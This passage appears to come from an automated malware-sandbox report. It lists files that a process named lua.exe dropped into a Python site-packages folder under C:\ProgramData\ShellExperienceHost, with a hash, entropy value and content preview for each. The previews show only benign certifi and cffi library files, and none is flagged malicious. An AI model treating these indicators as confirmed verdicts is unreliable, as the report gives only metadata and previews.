Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\core.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2303
Entropy (8bit):	4.511121053674014
Encrypted:	false
SSDEEP:	48:bpq/kD5+zZ0bY7eu7DDMQT/9dKa8q8wJZBprf0vk:g/kdjbY7xDtDKfVwrBprfCk
MD5:	E9695A9F9664E50346014590A276EDED
SHA1:	427C0CFA4131820D8F999AE3999C0DEAECAD5E5A
SHA-256:	574BB2C4A398773EAE9434AEB1C96B2E68DB3E0397B03D019C47F4490ECE9E81
SHA-512:	D5B793F637DD7CA4049FE82962917B9F2E9DD87B7B26F4710E18C66E00E7D3040C5A136D920D141562D335B1F2B277B48A8F67AEA8ECCFAE8F10329422DB4DF4
Malicious:	false
Preview:	# -- coding: utf-8 --..""".certifi.py.~~~~~~~~~~..This module returns the installation location of cacert.pem or its contents..""".import os..try:. from importlib.resources import path as get_path, read_text.. _CACERT_CTX = None. _CACERT_PATH = None.. def where():. # This is slightly terrible, but we want to delay extracting the file. # in cases where we're inside of a zipimport situation until someone. # actually calls where(), but we don't want to re-extract the file. # on every call of where(), so we'll do it once then store it in a. # global variable.. global _CACERT_CTX. global _CACERT_PATH. if _CACERT_PATH is None:. # This is slightly janky, the importlib.resources API wants you to. # manage the cleanup of this file, so it doesn't actually return a. # path, it returns a context manager that will give you the path. # when you enter it and will do any cleanup when you l

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\INSTALLER Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\LICENSE Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.935991038897493
Encrypted:	false
SSDEEP:	24:A/4y0e/M/YL+4JNOG0yPcgte01h/Y9QHY6sUv4fxHOk4/+n0p3oqiFw:00e0/YL3JNOGlPcENSQHY6s5fPOp3o5u
MD5:	DF848F212D07F5BAFD416F76B3FB6F2A
SHA1:	FAF3B19E6B98FEE291F08961E158D932309080A4
SHA-256:	7AC11950E72DF5B45C51716A7B22E7BB34B324D67F065E2938152DD472C4815F
SHA-512:	D2B298E07C012CA96CB8F16C875CCD55B23324DBF7670125A78F62E8AB32FAAD7EEAA363562B78BAF6D41F22EB156702B79B8EC4C06BFA56EAC9964F49935643
Malicious:	false
Preview:	..Except when otherwise stated (look for LICENSE files in directories or..information at the beginning of each file) all software and..documentation is licensed as follows: .... The MIT License.... Permission is hereby granted, free of charge, to any person .. obtaining a copy of this software and associated documentation .. files (the "Software"), to deal in the Software without .. restriction, including without limitation the rights to use, .. copy, modify, merge, publish, distribute, sublicense, and/or .. sell copies of the Software, and to permit persons to whom the .. Software is furnished to do so, subject to the following conditions:.... The above copyright notice and this permission notice shall be included .. in all copies or substantial portions of the Software..... THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS .. OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, .. FITNESS FOR A PARTIC

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\METADATA Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1191
Entropy (8bit):	4.889338490395058
Encrypted:	false
SSDEEP:	24:DlnaZMQD9cXTHZftDZftOKW0ZftWZft2Zft2ZftDZftYZftRTZft90Zft7neZftm:DlnaZMQsljwiaa6DYxLixsxHQ3MZQVh
MD5:	09DE702EC4EEEE474A47CF7D0E3F8C2E
SHA1:	85B9BA1A5D46921B12A1E2B5A7E0A5FDADF801B9
SHA-256:	ECA2EB2A2C73793046812CD88648D326A8D16A32CFD4491C37FC46FDB55284BD
SHA-512:	53D43E7F96F217E238B170FF11BF88C4420EA87A15EF3EB1AF9C779D60198C9059F6D5571AF1831C68393029C61903A9E6C7D9248BACFA06B6FA5D4368F7B8C8
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: cffi.Version: 1.14.4.Summary: Foreign Function Interface for Python calling C code..Home-page: http://cffi.readthedocs.org.Author: Armin Rigo, Maciej Fijalkowski.Author-email: python-cffi@googlegroups.com.License: MIT.Platform: UNKNOWN.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 2.Classifier: Programming Language :: Python :: 2.6.Classifier: Programming Language :: Python :: 2.7.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.2.Classifier: Programming Language :: Python :: 3.3.Classifier: Programming Language :: Python :: 3.4.Classifier: Programming Language :: Python :: 3.5.Classifier: Programming Language :: Python :: 3.6.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :: Python :: Implementation :: PyPy.Classifier: License :: OSI Approved :: MIT License.Requires-Dist: pycparser...CFFI.====..Foreign Function

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\RECORD Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2880
Entropy (8bit):	5.805973209484052
Encrypted:	false
SSDEEP:	48:cTyYnuXd07g2gYqL2flfQTegbG8/8u1XV+np0tv/bHHzsX4MFaV3Gu7t:Ey3XqfdQTegb/8u1XV+p8v/bnz2TFaVD
MD5:	8A5D2F2AC17BC3E8FFDA546CD330E3F2
SHA1:	EDD39A62EC3C3767CDA4CB16B503A8274091ABE6
SHA-256:	7084CE08AE68138B0EF0D0EB3C4DC0842C5B076CDFD5C9DEE7A065782601C25B
SHA-512:	ECDC550C60F33C348B5DFD07509899B15DD89329B42211752C64B61C53BD408435EC3A31A1CF9D37C50B605AA9C3520C1075BA86C94BA585ED42F0530A0ECA11
Malicious:	false
Preview:	_cffi_backend.cp37-win32.pyd,sha256=Drm4ADnUobxVBw1FMFbhyJSoqPWYHOQ2z-CxfjiESNA,146944..cffi-1.14.4.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cffi-1.14.4.dist-info/LICENSE,sha256=esEZUOct9bRcUXFqeyLnuzSzJNZ_Bl4pOBUt1HLEgV8,1320..cffi-1.14.4.dist-info/METADATA,sha256=7KLrKixzeTBGgSzYhkjTJqjRajLP1EkcN_xG_bVShL0,1191..cffi-1.14.4.dist-info/RECORD,,..cffi-1.14.4.dist-info/WHEEL,sha256=SYKICiw7EPrpyOeCIuAJswXTZAWXbJBHvAYcpuUpX1M,102..cffi-1.14.4.dist-info/entry_points.txt,sha256=Q9f5C9IpjYxo0d2PK9eUcnkgxHc9pHWwjEMaANPKNCI,76..cffi-1.14.4.dist-info/top_level.txt,sha256=rE7WR3rZfNKxWI9-jn6hsHCAl7MDkB-FmuQbxWjFehQ,19..cffi/__init__.py,sha256=cZPh5zl2j5Zp7h2-a8VlqWYWQ1AJ3POlA0aBvDh9TL0,527..cffi/__pycache__/__init__.cpython-37.pyc,,..cffi/__pycache__/api.cpython-37.pyc,,..cffi/__pycache__/backend_ctypes.cpython-37.pyc,,..cffi/__pycache__/cffi_opcode.cpython-37.pyc,,..cffi/__pycache__/commontypes.cpython-37.pyc,,..cffi/__pycache__/cparser.cpython-37.pyc,,..cffi/__

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\WHEEL Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	102
Entropy (8bit):	5.045097529036378
Encrypted:	false
SSDEEP:	3:RtED7MWcSlVilv6gP+tkSrLcyn:RtEMwlVilv6gWKSrLcyn
MD5:	450D9B4C9318D561EBF9DD24C23E8BE0
SHA1:	07648F2D1F33CFEAF6F9681F76C5B498FC7EA6B7
SHA-256:	4982880A2C3B10FAE9C8E78222E009B305D36405976C9047BC061CA6E5295F53
SHA-512:	7C63ECE85118249B1B153772EB710D86D5ABA09D1DAAFC7AE412A737E12FD9CA31D53EF55E508CA4BFA29467E970670E25A7E36B11DF81E8B25EA83C6DECEA0C
Malicious:	false
Preview:	Wheel-Version: 1.0..Generator: bdist_wheel (0.35.1)..Root-Is-Purelib: false..Tag: cp37-cp37m-win32....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\entry_points.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	4.315453547119663
Encrypted:	false
SSDEEP:	3:+Mlc3yMnJpoDRQlY3HnJz:+MyyMnJpORQaJz
MD5:	5ABE3588FDA16B05DF44A5C5ECCA34DF
SHA1:	85585480C856EB45360935F59C8C24F519959F72
SHA-256:	43D7F90BD2298D8C68D1DD8F2BD794727920C4773DA475B08C431A00D3CA3422
SHA-512:	BDD2234096710840E7BC065994FF2A6AEBCB78EED43021802679405B189AB2A14230432134D39DE30F11F5F7EB167494042F7C732D63CC3E039376935948972E
Malicious:	false
Preview:	[distutils.setup_keywords].cffi_modules = cffi.setuptools_ext:cffi_modules..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\top_level.txt Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	19
Entropy (8bit):	3.260828171224456
Encrypted:	false
SSDEEP:	3:xvcDQvn:x5n
MD5:	67EA4A90C355E59A4EB7026E12E6AA43
SHA1:	5A38C6F6B4BA1CF98F2377DB77F55A568089D94C
SHA-256:	AC4ED6477AD97CD2B1588F7E8E7EA1B0708097B303901F859AE41BC568C57A14
SHA-512:	D3FFAFF727C7B534E3DFB0FE8D93011C0B1AD5F4731F7B01B2247AF5A01ED52095234ADF046B6F843CB1A45692E55125F544848B5AE31923150185DB8DA63A0A
Malicious:	false
Preview:	_cffi_backend.cffi.

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	527
Entropy (8bit):	4.817055975034606
Encrypted:	false
SSDEEP:	12:Uiy3Har/J/y1YuSqtWFr3H4r/BqsCtvWEvNKXmvHPzXKZQgxcrn:E3W/J/y1ED9eBMIxZQgxcr
MD5:	AC16E83526302ABEEF5BA8068B3AF176
SHA1:	90514A4BC3C7343A4E7F8ECD8D7347A9AA08A6F9
SHA-256:	7193E1E739768F9669EE1DBE6BC565A96616435009DCF3A5034681BC387D4CBD
SHA-512:	A8468AABEE9C54CC78979771F1D5D5884B6C32E0317525C3BD1419019B6DE03CBD4867BBB3B6E25EC2273A31014CC9267E5506E72A26D34499436C480B5F63BD
Malicious:	false
Preview:	__all__ = ['FFI', 'VerificationError', 'VerificationMissing', 'CDefError',.. 'FFIError']....from .api import FFI..from .error import CDefError, FFIError, VerificationError, VerificationMissing..from .error import PkgConfigError....__version__ = "1.14.4"..__version_info__ = (1, 14, 4)....# The verifier module file names are based on the CRC32 of a string that..# contains the following version number. It may be older than __version__..# if nothing is clearly incompatible...__version_verifier_modules__ = "0.8.6"..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\_cffi_errors.h Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4003
Entropy (8bit):	4.922276710465993
Encrypted:	false
SSDEEP:	96:1HpXX5euxHO+eEaWFEHaBWQMIOSzn82oQBWA0x:vXX5rHXFsYMlntA0
MD5:	7017FA698316634043024CCF1B736923
SHA1:	7AC66AC67168E55F2A5689316F1123D0F048AA59
SHA-256:	20D7741B16509DAF134D160D38EAFDFE2172D0565AF3823F287D6A9663E0BA54
SHA-512:	131C0B28970C5915DFFA4B2484C4EB4B2F620E2536DDDDC2A55EFA794D5837E59C1948C657C6E2DE48514506CAA51643C68A22926C3AD155A3304069BCAFE3D2
Malicious:	false
Preview:	#ifndef CFFI_MESSAGEBOX..# ifdef _MSC_VER..# define CFFI_MESSAGEBOX 1..# else..# define CFFI_MESSAGEBOX 0..# endif..#endif......#if CFFI_MESSAGEBOX../* Windows only: logic to take the Python-CFFI embedding logic.. initialization errors and display them in a background thread.. with MessageBox. The idea is that if the whole program closes.. as a result of this problem, then likely it is already a console.. program and you can read the stderr output in the console too... If it is not a console program, then it will likely show its own.. dialog to complain, or generally not abruptly close, and for this.. case the background thread should stay alive.../..static void volatile _cffi_bootstrap_text;....static PyObject _cffi_start_error_capture(void)..{.. PyObject result = NULL;.. PyObject x, m, bi;.... if (InterlockedCompareExchangePointer(&_cffi_bootstrap_text,.. (void )1, NULL) != NULL).. return (PyObject *)1;.... m = PyImport_AddModu

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\_cffi_include.h Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15185
Entropy (8bit):	4.7365053814431155
Encrypted:	false
SSDEEP:	192:GdVu3ksqKv34X7tB6oEQwuscJ6OUjCcPhFix0zunQMQGRsM/:Usfv4XDdTUjCcWu4QMQMF/
MD5:	60162CC68F2CBB3582018804DDCCBC50
SHA1:	723F5B290AAD3813F14E315C27C50946432D87A0
SHA-256:	1FB72075947E3CEC26505AC8BA9E23386CE68DEF18A101E137DF6054583BC34F
SHA-512:	5CFAFAEEC90A833AC2BBD9DB955A8165D34171B9AD3A52C5A70D916203703064AF1FC59597053F01B363763C3CA006F96D6BDBCBC70325D37B759D030EEBB457
Malicious:	false
Preview:	#define _CFFI_..../* We try to define Py_LIMITED_API before including Python.h..... Mess: we can only define it if Py_DEBUG, Py_TRACE_REFS and.. Py_REF_DEBUG are not defined. This is a best-effort approximation:.. we can learn about Py_DEBUG from pyconfig.h, but it is unclear if.. the same works for the other two macros. Py_DEBUG implies them,.. but not the other way around..... The implementation is messy (issue #350): on Windows, with _MSC_VER,.. we have to define Py_LIMITED_API even before including pyconfig.h... In that case, we guess what pyconfig.h will do to the macros above,.. and check our guess after the #include..... Note that on Windows, with CPython 3.x, you need >= 3.5 and virtualenv.. version >= 16.0.0. With older versions of either, you don't get a.. copy of PYTHON3.DLL in the virtualenv. We can't check the version of.. CPython before we even include pyconfig.h. ffi.set_source() puts.. a ``#define _CFFI_NO_LIMITED_API'' at the start of

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\_embedding.h Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	C source, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	18108
Entropy (8bit):	4.850169835890813
Encrypted:	false
SSDEEP:	384:0R8AkQGUZQmwEbk16nGldxsjHxO5CWwGqyRaZeW5sgpsLIes6V0UlU+5Sc:h9Q3OVYHWsymeW5sgpMf0UlU+5Sc
MD5:	51C34242EC4E587B86423813FF89AC47
SHA1:	37BDA9E2FC1A7AC4C569E1ECF5B0FA6F5447AB11
SHA-256:	8E0FF2AFB6B41536B0B3843DD41FBA1B5DF8CE049EF0B86806DDFE78DF5D663F
SHA-512:	ECD5D3FB528BCE48FADC93D0A389F2DB9F70CF5DF99220ACFE3CAD61440BA5410C8111E19750F3EF30CB2684A05B06C4932D2DFC16960991F13F99E0FF140428
Malicious:	false
Preview:	../*** Support code for embedding **/....#ifdef __cplusplus..extern "C" {..#endif......#if defined(_WIN32)..# define CFFI_DLLEXPORT __declspec(dllexport)..#elif defined(__GNUC__)..# define CFFI_DLLEXPORT __attribute__((visibility("default")))..#else..# define CFFI_DLLEXPORT / nothing /..#endif....../ There are two global variables of type _cffi_call_python_fnptr:.... * _cffi_call_python, which we declare just below, is the one called.. by ``extern "Python"`` implementations..... * _cffi_call_python_org, which on CPython is actually part of the.. _cffi_exports[] array, is the function pointer copied from.. _cffi_backend..... After initialization is complete, both are equal. However, the.. first one remains equal to &_cffi_start_and_call_python until the.. very end of initialization, when we are (or should be) sure that.. concurrent threads also see a completely initialized world, and.. only then is it changed...*/..#undef _cffi_call_python..typed

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\api.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	43029
Entropy (8bit):	4.412672160524382
Encrypted:	false
SSDEEP:	768:kKJeQpb1BFUz59vDOpVgYcyF6lmB1MbC5iQs1:klQTBFUz5+VgYcyGo1MbC5in1
MD5:	5A45DE88656380A0E8F3BC427A228871
SHA1:	70BE53C5687A88C122CD0FE05F742FFD05DF74D6
SHA-256:	5ECFDD00DE71D5E85F9E7FC5F594DD03709ED1B98FAEA7883A43B861AD6D7DB4
SHA-512:	C827B3418B364ED4ECC02D9CAB3A13B6078172337B53215EFEFA7E1EA3DD94185ABDB9ED3D674040163A9536FEB21C4FB5DCE0CE9EBEE0525DF09C19EB790E8B
Malicious:	false
Preview:	import sys, types..from .lock import allocate_lock..from .error import CDefError..from . import model....try:.. callable..except NameError:.. # Python 3.1.. from collections import Callable.. callable = lambda x: isinstance(x, Callable)....try:.. basestring..except NameError:.. # Python 3.x.. basestring = str...._unspecified = object()........class FFI(object):.. r'''.. The main top-level class that you instantiate once, or once per module..... Example usage:.... ffi = FFI().. ffi.cdef(""".. int printf(const char *, ...);.. """).... C = ffi.dlopen(None) # standard library.. -or-.. C = ffi.verify() # use a C compiler: verify the decl above is right.... C.printf("hello, %s!\n", ffi.new("char[]", "world")).. '''.... def __init__(self, backend=None):.. """Create an FFI instance. The 'backend' argument is used to.. select a non-default backend, mostly for tests... """..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\backend_ctypes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	43575
Entropy (8bit):	4.218063282147727
Encrypted:	false
SSDEEP:	768:GkDuFHXoojILvkAHv/X8JueLyp1T/XRR98xBId8PRs9DRDiDiDs3uAzsZnuQR3uF:PDuFHXMnHXWo1TpRtsRsFhoosFzsZnud
MD5:	A5157429F58447218DBAFB59DA430992
SHA1:	7F2E4F82BA9D7D4496B1F6E875F68A46BCBD3F9D
SHA-256:	047377AB68222F6FD8F30303493D8221C73FAA832BB3AE6A57D39BE49BF1059E
SHA-512:	0E6580AA65A7DD692F09E9646E5BB427D1B10EF430685FE2498FBE34DFA299BA3CC72BB8563ED6D622DFC33A586E0E1DA2C6051C9F49EF9F522858073957926F
Malicious:	false
Preview:	import ctypes, ctypes.util, operator, sys..from . import model....if sys.version_info < (3,):.. bytechr = chr..else:.. unicode = str.. long = int.. xrange = range.. bytechr = lambda num: bytes([num])....class CTypesType(type):.. pass....class CTypesData(object):.. __metaclass__ = CTypesType.. __slots__ = ['__weakref__'].. __name__ = '<cdata>'.... def __init__(self, args):.. raise TypeError("cannot instantiate %r" % (self.__class__,)).... @classmethod.. def _newp(cls, init):.. raise TypeError("expected a pointer or array ctype, got '%s'".. % (cls._get_c_name(),)).... @staticmethod.. def _to_ctypes(value):.. raise TypeError.... @classmethod.. def _arg_to_ctypes(cls, value):.. try:.. ctype = cls._ctype.. except AttributeError:.. raise TypeError("cannot create an instance of %r" % (cls,)).. if value:.. res = cls._to_ctypes(*value)..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\cffi_opcode.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5911
Entropy (8bit):	4.811701778431833
Encrypted:	false
SSDEEP:	96:jyMpP75bQ4bWfKKZDLPGlSRBmFfYxb5CojCx2JjWOh9ddxlwuCwwBrK3gfkNqV6C:9pPtbQtXXGARAFKCojCkh9ddFqV6pU
MD5:	6AFDA5B92BBE029F04B7663959569962
SHA1:	43439A9D06210B478FBC529DBD59AD66854CE595
SHA-256:	E7B3F63472D992E4D6B9E6726EEE62A2C5A58DBEA87109945F31AB0A996B9F21
SHA-512:	CB3EB443E4BE519A25C4F2460AB73143BEA874876A538EF4F6BA6127D0F8742FAC97D356B12D8916C5327ECC8D2B9CD8BFFABD8191E1751A0E7E2EF322D69114
Malicious:	false
Preview:	from .error import VerificationError....class CffiOp(object):.. def __init__(self, op, arg):.. self.op = op.. self.arg = arg.... def as_c_expr(self):.. if self.op is None:.. assert isinstance(self.arg, str).. return '(_cffi_opcode_t)(%s)' % (self.arg,).. classname = CLASS_NAME[self.op].. return '_CFFI_OP(_CFFI_OP_%s, %s)' % (classname, self.arg).... def as_python_bytes(self):.. if self.op is None and self.arg.isdigit():.. value = int(self.arg) # non-negative: '-' not in self.arg.. if value >= 231:.. raise OverflowError("cannot emit %r: limited to 231-1".. % (self.arg,)).. return format_four_bytes(value).. if isinstance(self.arg, str):.. raise VerificationError("cannot emit to Python: %r" % (self.arg,)).. return format_four_bytes((self.arg << 8) \| self.op).... def __str__(self):.. classname

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\commontypes.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2769
Entropy (8bit):	4.892583350453655
Encrypted:	false
SSDEEP:	48:kFIR1NajbrEfJjoLzbjCCP6sWKrFwtCG+wDkDXEcYJaXwtAo+GbQR5oi/z:kFIR1NajbrEh0LXb6sWWEudzEhJaXwtk
MD5:	DE75CAAE98373480D526F71FF9D945E6
SHA1:	7C1BD17B705FF0384EC2375B8C9521BE79297989
SHA-256:	984643E20D2AB5A767BFA3BA0845EF310689D4AE9245B1B94B587862F5591CE5
SHA-512:	CCCB3C86C26F8BC0F1F1C8C22C534376ADDBC0C2A33944387C5847B9C297ADB4F3C0DF9609BD8ABD0173B0F28EDAF5ED543AE2E8A50392A20BE25D642D71536D
Malicious:	false
Preview:	import sys..from . import model..from .error import FFIError......COMMON_TYPES = {}....try:.. # fetch "bool" and all simple Windows types.. from _cffi_backend import _get_common_types.. _get_common_types(COMMON_TYPES)..except ImportError:.. pass....COMMON_TYPES['FILE'] = model.unknown_type('FILE', '_IO_FILE')..COMMON_TYPES['bool'] = '_Bool' # in case we got ImportError above....for _type in model.PrimitiveType.ALL_PRIMITIVE_TYPES:.. if _type.endswith('_t'):.. COMMON_TYPES[_type] = _type..del _type...._CACHE = {}....def resolve_common_type(parser, commontype):.. try:.. return _CACHE[commontype].. except KeyError:.. cdecl = COMMON_TYPES.get(commontype, commontype).. if not isinstance(cdecl, str):.. result, quals = cdecl, 0 # cdecl is already a BaseType.. elif cdecl in model.PrimitiveType.ALL_PRIMITIVE_TYPES:.. result, quals = model.PrimitiveType(cdecl), 0.. elif cdecl == 'set-unicode-needed':..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\cparser.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	45237
Entropy (8bit):	4.353591483539951
Encrypted:	false
SSDEEP:	768:Ypq2UQLhgOgQ0xtm+PBzlfel8dNIB2wQ0:ANgdlfv0b
MD5:	FDC193FB1D2F93042B473B45C0D8FC9C
SHA1:	57BD5784A61AE0BDFCA38D348E1389207F603DA3
SHA-256:	0B0564D95DC04D8942A32C06EB3377E70E9443BCE3D84597EBC2A3A09A763339
SHA-512:	D76C100B328BE48A1695C2E8A0B073DAC60F121D5454CAC1C3937F4CF7C1852C5D4434236A0B949C32D97F43672C6A1B1B55F3226420E1BAF6C68C564E52E924
Malicious:	false
Preview:	from . import model..from .commontypes import COMMON_TYPES, resolve_common_type..from .error import FFIError, CDefError..try:.. from . import _pycparser as pycparser..except ImportError:.. import pycparser..import weakref, re, sys....try:.. if sys.version_info < (3,):.. import thread as _thread.. else:.. import _thread.. lock = _thread.allocate_lock()..except ImportError:.. lock = None....def _workaround_for_static_import_finders():.. # Issue #392: packaging tools like cx_Freeze can not find these.. # because pycparser uses exec dynamic import. This is an obscure.. # workaround. This function is never called... import pycparser.yacctab.. import pycparser.lextab....CDEF_SOURCE_STRING = "<cdef source string>".._r_comment = re.compile(r"/\.?\/\|//([^\n\\]\|\\.)?$",.. re.DOTALL \| re.MULTILINE).._r_define = re.compile(r"^\s#\sdefine\s+([A-Za-z_][A-Za-z_0-9])".. r"\b((?:[^\n\\]\|\\.)?)$",..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\error.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.568727456994481
Encrypted:	false
SSDEEP:	24:VHVCGsq9y5xZhQZ+Abl1AwnXLjwzDcaxQIi:Vn9yVG+ulyzS
MD5:	A80B5D147A6083516A64208A7663D35C
SHA1:	6BA6BB805BD22A16EB2695272E0D349796AC1B88
SHA-256:	0646BB7D2576D9A2209534033C80DFA67C5373569664B31075038963E87F3D40
SHA-512:	78EFD3E5AF113CB537160982FA1C6F881509FFCBDA97D4022B52C78B3136B62C434E3BF5960390D67F0A2518E66D48692DCF0C39960583BCC093B43EE28A8AA7
Malicious:	false
Preview:	..class FFIError(Exception):.. __module__ = 'cffi'....class CDefError(Exception):.. __module__ = 'cffi'.. def __str__(self):.. try:.. current_decl = self.args[1].. filename = current_decl.coord.file.. linenum = current_decl.coord.line.. prefix = '%s:%d: ' % (filename, linenum).. except (AttributeError, TypeError, IndexError):.. prefix = ''.. return '%s%s' % (prefix, self.args[0])....class VerificationError(Exception):.. """ An error raised when verification fails.. """.. __module__ = 'cffi'....class VerificationMissing(Exception):.. """ An error raised when incomplete structures are passed into.. cdef, but no verification has been done.. """.. __module__ = 'cffi'....class PkgConfigError(Exception):.. """ An error raised for missing modules in pkg-config.. """.. __module__ = 'cffi'..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\ffiplatform.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4173
Entropy (8bit):	4.642399057232231
Encrypted:	false
SSDEEP:	96:kLWdgqH9L3tav8GydVBMJNuSPyyRoYRfZOgCr1apsZnh0c6:kagqdLdav8GyvBMJdZRPhec4ho
MD5:	467B1C809572AB4D8117A94F43B260A9
SHA1:	C0B4D714818C19564A1EF2B6540F960947CC202F
SHA-256:	AA2A32749782EB7744BEB43786DE7F04F992B3BC33CF3B969D9009B5F86273B2
SHA-512:	93EA9FC8D1A81CCA5D705C0B6E44F1FE8ACFEE34619FA07C6C1F05799228727354A1A6F3113782374755BD5332EEC062460DBD1DC69C7027E7C0E64F747CFF55
Malicious:	false
Preview:	import sys, os..from .error import VerificationError......LIST_OF_FILE_NAMES = ['sources', 'include_dirs', 'library_dirs',.. 'extra_objects', 'depends']....def get_extension(srcfilename, modname, sources=(), kwds):.. _hack_at_distutils().. from distutils.core import Extension.. allsources = [srcfilename].. for src in sources:.. allsources.append(os.path.normpath(src)).. return Extension(name=modname, sources=allsources, kwds)....def compile(tmpdir, ext, compiler_verbose=0, debug=None):.. """Compile a C extension module using distutils.""".... _hack_at_distutils().. saved_environ = os.environ.copy().. try:.. outputfilename = _build(tmpdir, ext, compiler_verbose, debug).. outputfilename = os.path.abspath(outputfilename).. finally:.. # workaround for a distutils bugs where some env vars can.. # become longer and longer every time it is used.. for key, value in saved_environ.items():..

